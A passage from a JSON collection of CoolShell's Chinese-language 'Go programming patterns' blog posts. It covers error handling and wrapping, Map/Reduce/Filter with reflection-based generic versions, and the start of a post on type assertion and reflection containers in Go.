的检查。看来使用了结构体的方式。模仿它，我们可以把我们的代码重构成下面这样：\n\n\n首先，定义一个结构体和一个成员函数\n\n\n\n```\ntype Reader struct {\n    r   io.Reader\n    err error\n}\n\nfunc (r *Reader) read(data interface{}) {\n    if r.err == nil {\n        r.err = binary.Read(r.r, binary.BigEndian, data)\n    }\n}\n```\n\n然后，我们的代码就可以变成下面这样：\n\n\n\n```\nfunc parse(input io.Reader) (*Point, error) {\n    var p Point\n    r := Reader{r: input}\n\n    r.read(&p.Longitude)\n    r.read(&p.Latitude)\n    r.read(&p.Distance)\n    r.read(&p.ElevationGain)\n    r.read(&p.ElevationLoss)\n\n    if r.err != nil {\n        return nil, r.err\n    }\n\n    return &p, nil\n}\n```\n\n有了上面这个技术，我们的“[流式接口 Fluent Interface](https://martinfowler.com/bliki/FluentInterface.html)”，也就很容易处理了。如下所示：\n\n\n\n```\npackage main\n\nimport (\n  \"bytes\"\n  \"encoding/binary\"\n  \"fmt\"\n)\n\n// 长度不够，少一个Weight\nvar b = []byte {0x48, 0x61, 0x6f, 0x20, 0x43, 0x68, 0x65, 0x6e, 0x00, 0x00, 0x2c} \nvar r = bytes.NewReader(b)\n\ntype Person struct {\n  Name [10]byte\n  Age uint8\n  Weight uint8\n  err error\n}\nfunc (p *Person) read(data interface{}) {\n  if p.err == nil {\n    p.err = binary.Read(r, binary.BigEndian, data)\n  }\n}\n\nfunc (p *Person) ReadName() *Person {\n  p.read(&p.Name) \n  return p\n}\nfunc (p *Person) ReadAge() *Person {\n  p.read(&p.Age) \n  return p\n}\nfunc (p *Person) ReadWeight() *Person {\n  p.read(&p.Weight) \n  return p\n}\nfunc (p *Person) Print() *Person {\n  if p.err == nil {\n    fmt.Printf(\"Name=%s, Age=%d, Weight=%d\\n\",p.Name, p.Age, p.Weight)\n  }\n  return p\n}\n\nfunc main() {   \n  p := Person{}\n  p.ReadName().ReadAge().ReadWeight().Print()\n  fmt.Println(p.err)  // EOF 错误\n}\n\n```\n\n相信你应该看懂这个技巧了，但是，其使用场景也就只能在对于同一个业务对象的不断操作下可以简化错误处理，对于多个业务对象的话，还是得需要各种 `if err != nil`的方式。\n\n\n#### 包装错误\n\n\n最后，多说一句，我们需要包装一下错误，而不是干巴巴地把`err`给返回到上层，我们需要把一些执行的上下文加入。\n\n\n通常来说，我们会使用 `fmt.Errorf()`来完成这个事，比如：\n\n\n\n```\nif err != nil {\n   return fmt.Errorf(\"something failed: %v\", err)\n}\n```\n\n另外，在Go语言的开发者中，更为普遍的做法是将错误包装在另一个错误中，同时保留原始内容：\n\n\n\n```\ntype authorizationError struct {\n    operation string\n    err error   // original error\n}\n\nfunc (e *authorizationError) Error() string {\n    return fmt.Sprintf(\"authorization failed during %s: %v\", e.operation, e.err)\n}\n```\n\n当然，更好的方式是通过一种标准的访问方法，这样，我们最好使用一个接口，比如 `causer`接口中实现 `Cause()` 方法来暴露原始错误，以供进一步检查：\n\n\n\n```\ntype causer interface {\n    Cause() error\n}\n\nfunc (e *authorizationError) Cause() error {\n    return e.err\n}\n\n```\n\n \n\n\n这里有个好消息是，这样的代码不必再写了，有一个第三方的错误库（[github.com/pkg/errors](https://github.com/pkg/errors)），对于这个库，我无论到哪都能看到他的存在，所以，这个基本上来说就是事实上的标准了。代码示例如下：\n\n\n\n```\nimport \"github.com/pkg/errors\"\n\n//错误包装\nif err != nil {\n    return errors.Wrap(err, \"read failed\")\n}\n\n// Cause接口\nswitch err := errors.Cause(err).(type) {\ncase *MyError:\n    // handle specifically\ndefault:\n    // unknown error\n}\n```\n\n#### 参考文章\n\n\n* **Golang Error Handling lesson by Rob Pike**<http://jxck.hatenablog.com/entry/golang-error-handling-lesson-by-rob-pike>\n* **Errors are values**<https://blog.golang.org/errors-are-values>\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [![Go编程模式：Pipeline](../wp-content/uploads/2020/12/go.line_.-150x150.png)](https://coolshell.cn/articles/21228.html)[Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [![Go编程模式：委托和反转控制](../wp-content/uploads/2020/12/go.pair_-150x150.png)](https://coolshell.cn/articles/21214.html)[Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [![Go 编程模式：Go Generation](../wp-content/uploads/2020/12/go.generate-150x150.png)](https://coolshell.cn/articles/21179.html)[Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\nThe post [Go 编程模式：错误处理](https://coolshell.cn/articles/21140.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2020-12-24 Go编程模式：Map-Reduce.md",
    "content": "---\nlayout: post\ntitle: Go编程模式：Map-Reduce\ndate: 2020/12/24/ 7:13:52\nupdated: 2020/12/24/ 7:13:52\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2020/12/go.map_.reduce-300x192.png)在本篇文章中，我们学习一下函数式编程的中非常重要的Map、Reduce、Filter的三种操作，这三种操作可以让我们非常方便灵活地进行一些数据处理——我们的程序中大多数情况下都是在到倒腾数据，尤其对于一些需要统计的业务场景，Map/Reduce/Filter是非常通用的玩法。下面先来看几个例子：\n\n\n### 本文是全系列中第5 / 10篇：[Go编程模式](https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f)\n\n* [Go编程模式：切片，接口，时间和性能](https://coolshell.cn/articles/21128.html)\n* [Go 编程模式：错误处理](https://coolshell.cn/articles/21140.html)\n* [Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\n* [Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* Go编程模式：Map-Reduce\n* [Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n\n« [上一篇文章](https://coolshell.cn/articles/21214.html \"Go编程模式：委托和反转控制\")[下一篇文章](https://coolshell.cn/articles/21179.html \"Go 编程模式：Go Generation\") »\n#### 基本示例\n\n\n##### Map示例\n\n\n下面的程序代码中，我们写了两个Map函数，这两个函数需要两个参数，\n\n\n* 一个是字符串数组 `[]string`，说明需要处理的数据一个字符串\n* 另一个是一个函数`func(s string) string` 或 `func(s string) int`\n\n\n\n```\nfunc MapStrToStr(arr []string, fn func(s string) string) []string {\n    var newArray = []string{}\n    for _, it := range arr {\n        newArray = append(newArray, fn(it))\n    }\n    return newArray\n}\n\nfunc MapStrToInt(arr []string, fn func(s string) int) []int {\n    var newArray = []int{}\n    for _, it := range arr {\n        newArray = append(newArray, fn(it))\n    }\n    return newArray\n}\n```\n\n整个Map函数运行逻辑都很相似，函数体都是在遍历第一个参数的数组，然后，调用第二个参数的函数，然后把其值组合成另一个数组返回。\n\n\n\n于是我们就可以这样使用这两个函数：\n\n\n\n```\nvar list = []string{\"Hao\", \"Chen\", \"MegaEase\"}\n\nx := MapStrToStr(list, func(s string) string {\n    return strings.ToUpper(s)\n})\nfmt.Printf(\"%v\\n\", x)\n//[\"HAO\", \"CHEN\", \"MEGAEASE\"]\n\ny := MapStrToInt(list, func(s string) int {\n    return len(s)\n})\nfmt.Printf(\"%v\\n\", y)\n//[3, 4, 8]\n```\n\n我们可以看到，我们给第一个 `MapStrToStr()` 传了函数做的是 转大写，于是出来的数组就成了全大写的，给`MapStrToInt()` 传的是算其长度，所以出来的数组是每个字符串的长度。\n\n\n我们再来看一下Reduce和Filter的函数是什么样的。\n\n\n##### **Reduce 示例**\n\n\n\n```\nfunc Reduce(arr []string, fn func(s string) int) int {\n    sum := 0\n    for _, it := range arr {\n        sum += fn(it)\n    }\n    return sum\n}\n\nvar list = []string{\"Hao\", \"Chen\", \"MegaEase\"}\n\nx := Reduce(list, func(s string) int {\n    return len(s)\n})\nfmt.Printf(\"%v\\n\", x)\n// 15\n\n```\n\n##### **Filter示例**\n\n\n\n```\nfunc Filter(arr []int, fn func(n int) bool) []int {\n    var newArray = []int{}\n    for _, it := range arr {\n        if fn(it) {\n            newArray = append(newArray, it)\n        }\n    }\n    return newArray\n}\n\nvar intset = []int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}\nout := Filter(intset, func(n int) bool {\n   return n%2 == 1\n})\nfmt.Printf(\"%v\\n\", out)\n\nout = Filter(intset, func(n int) bool {\n    return n > 5\n})\nfmt.Printf(\"%v\\n\", out)\n\n```\n\n下图是一个比喻，其非常形象地说明了Map-Reduce是的业务语义，其在数据处理中非常有用。\n\n\n![](../wp-content/uploads/2020/12/map-reduce.png)\n\n\n#### 业务示例\n\n\n通过上面的一些示例，你可能有一些明白，Map/Reduce/Filter只是一种控制逻辑，真正的业务逻辑是在传给他们的数据和那个函数来定义的。是的，这是一个很经典的“业务逻辑”和“控制逻辑”分离解耦的编程模式。下面我们来看一个有业务意义的代码，来让大家强化理解一下什么叫“控制逻辑”与业务逻辑分离。\n\n\n##### 员工信息\n\n\n首先，我们一个员工对象，以及一些数据\n\n\n\n```\ntype Employee struct {\n    Name     string\n    Age      int\n    Vacation int\n    Salary   int\n}\n\nvar list = []Employee{\n    {\"Hao\", 44, 0, 8000},\n    {\"Bob\", 34, 10, 5000},\n    {\"Alice\", 23, 5, 9000},\n    {\"Jack\", 26, 0, 4000},\n    {\"Tom\", 48, 9, 7500},\n    {\"Marry\", 29, 0, 6000},\n    {\"Mike\", 32, 8, 4000},\n}\n```\n\n##### 相关的Reduce/Fitler函数\n\n\n然后，我们有如下的几个函数：\n\n\n\n```\nfunc EmployeeCountIf(list []Employee, fn func(e *Employee) bool) int {\n    count := 0\n    for i, _ := range list {\n        if fn(&list[i]) {\n            count += 1\n        }\n    }\n    return count\n}\n\nfunc EmployeeFilterIn(list []Employee, fn func(e *Employee) bool) []Employee {\n    var newList []Employee\n    for i, _ := range list {\n        if fn(&list[i]) {\n            newList = append(newList, list[i])\n        }\n    }\n    return newList\n}\n\nfunc EmployeeSumIf(list []Employee, fn func(e *Employee) int) int {\n    var sum = 0\n    for i, _ := range list {\n        sum += fn(&list[i])\n    }\n    return sum\n}\n```\n\n简单说明一下：\n\n\n* `EmployeeConutIf` 和 `EmployeeSumIf` 分别用于统满足某个条件的个数或总数。它们都是Filter + Reduce的语义。\n* `EmployeeFilterIn` 就是按某种条件过虑。就是Fitler的语义。\n\n\n##### 各种自定义的统计示例\n\n\n于是我们就可以有如下的代码。\n\n\n**1）统计有多少员工大于40岁**\n\n\n\n```\nold := EmployeeCountIf(list, func(e *Employee) bool {\n    return e.Age > 40\n})\nfmt.Printf(\"old people: %d\\n\", old)\n//old people: 2\n\n```\n\n**2）统计有多少员工薪水大于6000**\n\n\n\n```\nhigh_pay := EmployeeCountIf(list, func(e *Employee) bool {\n    return e.Salary >= 6000\n})\nfmt.Printf(\"High Salary people: %d\\n\", high_pay)\n//High Salary people: 4\n\n```\n\n**3）列出有没有休假的员工**\n\n\n\n```\nno_vacation := EmployeeFilterIn(list, func(e *Employee) bool {\n    return e.Vacation == 0\n})\nfmt.Printf(\"People no vacation: %v\\n\", no_vacation)\n//People no vacation: [{Hao 44 0 8000} {Jack 26 0 4000} {Marry 29 0 6000}]\n\n```\n\n**4）统计所有员工的薪资总和**\n\n\n\n```\ntotal_pay := EmployeeSumIf(list, func(e *Employee) int {\n    return e.Salary\n})\n\nfmt.Printf(\"Total Salary: %d\\n\", total_pay)\n//Total Salary: 43500\n\n```\n\n**5）统计30岁以下员工的薪资总和**\n\n\n\n```\nyounger_pay := EmployeeSumIf(list, func(e *Employee) int {\n    if e.Age < 30 {\n        return e.Salary\n    } \n    return 0\n})\n```\n\n#### 泛型Map-Reduce\n\n\n我们可以看到，上面的Map-Reduce都因为要处理数据的类型不同而需要写出不同版本的Map-Reduce，虽然他们的代码看上去是很类似的。所以，这里就要带出来泛型编程了，Go语言在本文写作的时候还不支持泛型（注：Go开发团队技术负责人Russ Cox在2012年11月21golang-dev上的mail确认了Go泛型(type parameter)将在Go 1.18版本落地，即2022.2月份）。\n\n\n##### 简单版 Generic Map\n\n\n所以，目前的Go语言的泛型只能用 `interface{}` + `reflect`来完成，`interface{}` 可以理解为C中的 `void*`，Java中的 `Object` ，`reflect`是Go的反射机制包，用于在运行时检查类型。\n\n\n下面我们来看一下一个非常简单不作任何类型检查的泛型的Map函数怎么写。\n\n\n\n```\nfunc Map(data interface{}, fn interface{}) []interface{} {\n    vfn := reflect.ValueOf(fn)\n    vdata := reflect.ValueOf(data)\n    result := make([]interface{}, vdata.Len())\n\n    for i := 0; i < vdata.Len(); i++ {\n        result[i] = vfn.Call([]reflect.Value{vdata.Index(i)})[0].Interface()\n    }\n    return result\n}\n```\n\n上面的代码中，\n\n\n* 通过 `reflect.ValueOf()` 来获得 `interface{}` 的值，其中一个是数据 `vdata`，另一个是函数 `vfn`，\n* 然后通过 `vfn.Call()` 方法来调用函数，通过 `[]refelct.Value{vdata.Index(i)}`来获得数据。\n\n\nGo语言中的反射的语法还是有点令人费解的，但是简单看一下手册还是能够读懂的。我这篇文章不讲反射，所以相关的基础知识还请大家自行Google相关的教程。\n\n\n于是，我们就可以有下面的代码——不同类型的数据可以使用相同逻辑的`Map()`代码。\n\n\n\n```\nsquare := func(x int) int {\n  return x * x\n}\nnums := []int{1, 2, 3, 4}\n\nsquared_arr := Map(nums,square)\nfmt.Println(squared_arr)\n//[1 4 9 16]\n\n\n\nupcase := func(s string) string {\n  return strings.ToUpper(s)\n}\nstrs := []string{\"Hao\", \"Chen\", \"MegaEase\"}\nupstrs := Map(strs, upcase);\nfmt.Println(upstrs)\n//[HAO CHEN MEGAEASE]\n```\n\n但是因为反射是运行时的事，所以，如果类型什么出问题的话，就会有运行时的错误。比如：\n\n\n\n```\nx := Map(5, 5)\nfmt.Println(x)\n```\n\n上面的代码可以很轻松的编译通过，但是在运行时就出问题了，还是panic错误……\n\n\n\n```\npanic: reflect: call of reflect.Value.Len on int Value\n\ngoroutine 1 [running]:\nreflect.Value.Len(0x10b5240, 0x10eeb58, 0x82, 0x10716bc)\n        /usr/local/Cellar/go/1.15.3/libexec/src/reflect/value.go:1162 +0x185\nmain.Map(0x10b5240, 0x10eeb58, 0x10b5240, 0x10eeb60, 0x1, 0x14, 0x0)\n        /Users/chenhao/.../map.go:12 +0x16b\nmain.main()\n        /Users/chenhao/.../map.go:42 +0x465\nexit status 2\n```\n\n##### 健壮版的Generic Map\n\n\n所以，如果要写一个健壮的程序，对于这种用`interface{}` 的“过度泛型”，就需要我们自己来做类型检查。下面是一个有类型检查的Map代码：\n\n\n\n```\nfunc Transform(slice, function interface{}) interface{} {\n  return transform(slice, function, false)\n}\n\nfunc TransformInPlace(slice, function interface{}) interface{} {\n  return transform(slice, function, true)\n}\n\nfunc transform(slice, function interface{}, inPlace bool) interface{} {\n \n  //check the slice type is Slice\n  sliceInType := reflect.ValueOf(slice)\n  if sliceInType.Kind() != reflect.Slice {\n    panic(\"transform: not slice\")\n  }\n\n  //check the function signature\n  fn := reflect.ValueOf(function)\n  elemType := sliceInType.Type().Elem()\n  if !verifyFuncSignature(fn, elemType, nil) {\n    panic(\"trasform: function must be of type func(\" + sliceInType.Type().Elem().String() + \") outputElemType\")\n  }\n\n  sliceOutType := sliceInType\n  if !inPlace {\n    sliceOutType = reflect.MakeSlice(reflect.SliceOf(fn.Type().Out(0)), sliceInType.Len(), sliceInType.Len())\n  }\n  for i := 0; i < sliceInType.Len(); i++ {\n    sliceOutType.Index(i).Set(fn.Call([]reflect.Value{sliceInType.Index(i)})[0])\n  }\n  return sliceOutType.Interface()\n\n}\n\nfunc verifyFuncSignature(fn reflect.Value, types ...reflect.Type) bool {\n\n  //Check it is a funciton\n  if fn.Kind() != reflect.Func {\n    return false\n  }\n  // NumIn() - returns a function type's input parameter count.\n  // NumOut() - returns a function type's output parameter count.\n  if (fn.Type().NumIn() != len(types)-1) || (fn.Type().NumOut() != 1) {\n    return false\n  }\n  // In() - returns the type of a function type's i'th input parameter.\n  for i := 0; i < len(types)-1; i++ {\n    if fn.Type().In(i) != types[i] {\n      return false\n    }\n  }\n  // Out() - returns the type of a function type's i'th output parameter.\n  outType := types[len(types)-1]\n  if outType != nil && fn.Type().Out(0) != outType {\n    return false\n  }\n  return true\n}\n\n```\n\n上面的代码一下子就复杂起来了，可见，复杂的代码都是在处理异常的地方。我不打算Walk through 所有的代码，别看代码多，但是还是可以读懂的，下面列几个代码中的要点：\n\n\n* 代码中没有使用Map函数，因为和数据结构和关键有含义冲突的问题，所以使用`Transform`，这个来源于 C++ STL库中的命名。\n* 有两个版本的函数，一个是返回一个全新的数组 – `Transform()`，一个是“就地完成” – `TransformInPlace()`\n* 在主函数中，用 `Kind()` 方法检查了数据类型是不是 Slice，函数类型是不是Func\n* 检查函数的参数和返回类型是通过 `verifyFuncSignature()` 来完成的，其中：\n\t+ `NumIn()` – 用来检查函数的“入参”\n\t+ `NumOut()` 用来检查函数的“返回值”\n* 如果需要新生成一个Slice，会使用 `reflect.MakeSlice()` 来完成。\n\n\n好了，有了上面的这段代码，我们的代码就很可以很开心的使用了：\n\n\n可以用于字符串数组\n\n\n\n```\nlist := []string{\"1\", \"2\", \"3\", \"4\", \"5\", \"6\"}\nresult := Transform(list, func(a string) string{\n    return a +a +a\n})\n//{\"111\",\"222\",\"333\",\"444\",\"555\",\"666\"}\n\n```\n\n可以用于整形数组\n\n\n\n```\nlist := []int{1, 2, 3, 4, 5, 6, 7, 8, 9}\nTransformInPlace(list, func (a int) int {\n  return a*3\n})\n//{3, 6, 9, 12, 15, 18, 21, 24, 27}\n\n```\n\n可以用于结构体\n\n\n\n```\nvar list = []Employee{\n    {\"Hao\", 44, 0, 8000},\n    {\"Bob\", 34, 10, 5000},\n    {\"Alice\", 23, 5, 9000},\n    {\"Jack\", 26, 0, 4000},\n    {\"Tom\", 48, 9, 7500},\n}\n\nresult := TransformInPlace(list, func(e Employee) Employee {\n    e.Salary += 1000\n    e.Age += 1\n    return e\n})\n```\n\n##### 健壮版的 Generic Reduce\n\n\n同样，泛型版的 Reduce 代码如下：\n\n\n\n```\nfunc Reduce(slice, pairFunc, zero interface{}) interface{} {\n  sliceInType := reflect.ValueOf(slice)\n  if sliceInType.Kind() != reflect.Slice {\n    panic(\"reduce: wrong type, not slice\")\n  }\n\n  len := sliceInType.Len()\n  if len == 0 {\n    return zero\n  } else if len == 1 {\n    return sliceInType.Index(0)\n  }\n\n  elemType := sliceInType.Type().Elem()\n  fn := reflect.ValueOf(pairFunc)\n  if !verifyFuncSignature(fn, elemType, elemType, elemType) {\n    t := elemType.String()\n    panic(\"reduce: function must be of type func(\" + t + \", \" + t + \") \" + t)\n  }\n\n  var ins [2]reflect.Value\n  ins[0] = sliceInType.Index(0)\n  ins[1] = sliceInType.Index(1)\n  out := fn.Call(ins[:])[0]\n\n  for i := 2; i < len; i++ {\n    ins[0] = out\n    ins[1] = sliceInType.Index(i)\n    out = fn.Call(ins[:])[0]\n  }\n  return out.Interface()\n}\n```\n\n##### 健壮版的 Generic Filter\n\n\n同样，泛型版的 Filter 代码如下（同样分是否“就地计算”的两个版本）：\n\n\n\n```\nfunc Filter(slice, function interface{}) interface{} {\n  result, _ := filter(slice, function, false)\n  return result\n}\n\nfunc FilterInPlace(slicePtr, function interface{}) {\n  in := reflect.ValueOf(slicePtr)\n  if in.Kind() != reflect.Ptr {\n    panic(\"FilterInPlace: wrong type, \" +\n      \"not a pointer to slice\")\n  }\n  _, n := filter(in.Elem().Interface(), function, true)\n  in.Elem().SetLen(n)\n}\n\nvar boolType = reflect.ValueOf(true).Type()\n\nfunc filter(slice, function interface{}, inPlace bool) (interface{}, int) {\n\n  sliceInType := reflect.ValueOf(slice)\n  if sliceInType.Kind() != reflect.Slice {\n    panic(\"filter: wrong type, not a slice\")\n  }\n\n  fn := reflect.ValueOf(function)\n  elemType := sliceInType.Type().Elem()\n  if !verifyFuncSignature(fn, elemType, boolType) {\n    panic(\"filter: function must be of type func(\" + elemType.String() + \") bool\")\n  }\n\n  var which []int\n  for i := 0; i < sliceInType.Len(); i++ {\n    if fn.Call([]reflect.Value{sliceInType.Index(i)})[0].Bool() {\n      which = append(which, i)\n    }\n  }\n\n  out := sliceInType\n\n  if !inPlace {\n    out = reflect.MakeSlice(sliceInType.Type(), len(which), len(which))\n  }\n  for i := range which {\n    out.Index(i).Set(sliceInType.Index(which[i]))\n  }\n\n  return out.Interface(), len(which)\n}\n```\n\n#### 后记\n\n\n还有几个未尽事宜：\n\n\n1）使用反射来做这些东西，会有一个问题，**那就是代码的性能会很差。所以，上面的代码不能用于你需要高性能的地方**。怎么解决这个问题，我们会在本系列文章的下一篇文章中讨论。\n\n\n2）上面的代码大量的参考了 Rob Pike的版本，他的代码在 <https://github.com/robpike/filter>\n\n\n3）其实，在全世界范围内，有大量的程序员都在问Go语言官方什么时候在标准库中支持 Map/Reduce，Rob Pike说，这种东西难写吗？还要我们官方来帮你们写么？这种代码我多少年前就写过了，但是，我从来一次都没有用过，我还是喜欢用“For循环”，我觉得你最好也跟我一起用 “For循环”。\n\n\n我个人觉得，Map/Reduce在数据处理的时候还是很有用的，Rob Pike可能平时也不怎么写“业务逻辑”的代码，所以，对他来说可能也不太了解业务的变化有多么的频繁……\n\n\n当然，好还是不好，由你来判断，但多学一些编程模式是对自己的帮助也是很有帮助的。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go 编程模式：Functional Options](../wp-content/uploads/2020/12/go.options-150x150.png)](https://coolshell.cn/articles/21146.html)[Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\n* [![Go编程模式：修饰器](../wp-content/uploads/2017/06/go-hardhat-150x150.png)](https://coolshell.cn/articles/17929.html)[Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [![Go编程模式：Pipeline](../wp-content/uploads/2020/12/go.line_.-150x150.png)](https://coolshell.cn/articles/21228.html)[Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [![Go编程模式：委托和反转控制](../wp-content/uploads/2020/12/go.pair_-150x150.png)](https://coolshell.cn/articles/21214.html)[Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\nThe post [Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2020-12-25 Go 编程模式：Go Generation.md",
    "content": "---\nlayout: post\ntitle: Go 编程模式：Go Generation\ndate: 2020/12/25/ 9:6:36\nupdated: 2020/12/25/ 9:6:36\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2020/12/go.generate-296x300.png)图片来源：[GopherSource](https://gophersource.com/)\n\n\n在本篇文章中，我们将要学习一下Go语言的代码生成的玩法。Go语言代码生成主要还是用来解决编程泛型的问题，泛型编程主要解决的问题是因为静态类型语言有类型，所以，相关的算法或是对数据处理的程序会因为类型不同而需要复制一份，这样导致数据类型和算法功能耦合的问题。泛型编程可以解决这样的问题，就是说，在写代码的时候，不用关心处理数据的类型，只需要关心相当处理逻辑。泛型编程是静态语言中非常非常重要的特征，如果没有泛型，我们很难做到多态，也很难完成抽象，会导致我们的代码冗余量很大。\n\n\n### 本文是全系列中第6 / 10篇：[Go编程模式](https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f)\n\n* [Go编程模式：切片，接口，时间和性能](https://coolshell.cn/articles/21128.html)\n* [Go 编程模式：错误处理](https://coolshell.cn/articles/21140.html)\n* [Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\n* [Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* Go 编程模式：Go Generation\n* [Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n\n« [上一篇文章](https://coolshell.cn/articles/21164.html \"Go编程模式：Map-Reduce\")[下一篇文章](https://coolshell.cn/articles/17929.html \"Go编程模式：修饰器\") »\n#### 现实中的类比\n\n\n举个现实当中的例子，用螺丝刀来做具比方，螺丝刀本来就是一个拧螺丝的动作，但是因为螺丝的类型太多，有平口的，有十字口的，有六角的……螺丝还有大小尺寸，导致我们的螺丝刀为了要适配各种千奇百怪的螺丝类型（样式和尺寸），导致要做出各种各样的螺丝刀。\n\n\n\n\n|  |  |\n| --- | --- |\n|  |  |\n\n\n而真正的抽象是螺丝刀不应该关心螺丝的类型，只要关注好自己的功能是否完备，并让自己可以适配于不同类型的螺丝，如下所示，这就是所谓的泛型编程要解决的实际问题。\n\n\n\n\n\n|  |\n| --- |\n|  |\n\n\n#### Go语方的类型检查\n\n\n因为Go语言目前并不支持真正的泛型，所以，只能用 `interface{}` 这样的类似于 `void*` 这种过度泛型来玩这就导致了我们在实际过程中就需要进行类型检查。Go语言的类型检查有两种技术，一种是 Type Assert，一种是Reflection。\n\n\n##### Type Assert\n\n\n这种技术，一般是对某个变量进行 `.(type)`的转型操作，其会返回两个值， `variable, error`，第一个返回值是被转换好的类型，第二个是如果不能转换类型，则会报错。\n\n\n比如下面的示例，我们有一个通用类型的容器，可以进行 `Put(val)`和 `Get()`，注意，其使用了 `interface{}`作泛型\n\n\n\n```\n//Container is a generic container, accepting anything.\ntype Container []interface{}\n\n//Put adds an element to the container.\nfunc (c *Container) Put(elem interface{}) {\n    *c = append(*c, elem)\n}\n//Get gets an element from the container.\nfunc (c *Container) Get() interface{} {\n    elem := (*c)[0]\n    *c = (*c)[1:]\n    return elem\n}\n```\n\n在使用中，我们可以这样使用\n\n\n\n```\nintContainer := &Container{}\nintContainer.Put(7)\nintContainer.Put(42)\n```\n\n但是，在把数据取出来时，因为类型是 `interface{}` ，所以，你还要做一个转型，如果转型成功能才能进行后续操作（因为 `interface{}`太泛了，泛到什么类型都可以放）下在是一个Type Assert的示例：\n\n\n\n```\n// assert that the actual type is int\nelem, ok := intContainer.Get().(int)\nif !ok {\n    fmt.Println(\"Unable to read an int from intContainer\")\n}\n\nfmt.Printf(\"assertExample: %d (%T)\\n\", elem, elem)\n\n```\n\n##### Reflection\n\n\n对于反射，我们需要把上面的代码修改如下：\n\n\n\n```\ntype Container struct {\n    s reflect.Value\n}\nfunc NewContainer(t reflect.Type, size int) *Container {\n    if size <=0  { size=64 }\n    return &Container{\n        s: reflect.MakeSlice(reflect.SliceOf(t), 0, size), \n    }\n}\nfunc (c *Container) Put(val interface{})  error {\n    if reflect.ValueOf(val).Type() != c.s.Type().Elem() {\n        return fmt.Errorf(“Put: cannot put a %T into a slice of %s\", \n            val, c.s.Type().Elem()))\n    }\n    c.s = reflect.Append(c.s, reflect.ValueOf(val))\n    return nil\n}\nfunc (c *Container) Get(refval interface{}) error {\n    if reflect.ValueOf(refval).Kind() != reflect.Ptr ||\n        reflect.ValueOf(refval).Elem().Type() != c.s.Type().Elem() {\n        return fmt.Errorf(\"Get: needs *%s but got %T\", c.s.Type().Elem(), refval)\n    }\n    reflect.ValueOf(refval).Elem().Set( c.s.Index(0) )\n    c.s = c.s.Slice(1, c.s.Len())\n    return nil\n}\n```\n\n上面的代码并不难读，这是完全使用 reflection的玩法，其中\n\n\n* 在 `NewContainer()`会根据参数的类型初始化一个Slice\n* 在 `Put()`时候，会检查 `val` 是否和Slice的类型一致。\n* 在 `Get()`时，我们需要用一个入参的方式，因为我们没有办法返回 `reflect.Value` 或是 `interface{}`，不然还要做Type Assert\n* 但是有类型检查，所以，必然会有检查不对的道理 ，因此，需要返回 `error`\n\n\n于是在使用上面这段代码的时候，会是下面这个样子：\n\n\n\n```\nf1 := 3.1415926\nf2 := 1.41421356237\n\nc := NewMyContainer(reflect.TypeOf(f1), 16)\n\nif err := c.Put(f1); err != nil {\n  panic(err)\n}\nif err := c.Put(f2); err != nil {\n  panic(err)\n}\n\ng := 0.0\n\nif err := c.Get(&g); err != nil {\n  panic(err)\n}\nfmt.Printf(\"%v (%T)\\n\", g, g) //3.1415926 (float64)\nfmt.Println(c.s.Index(0)) 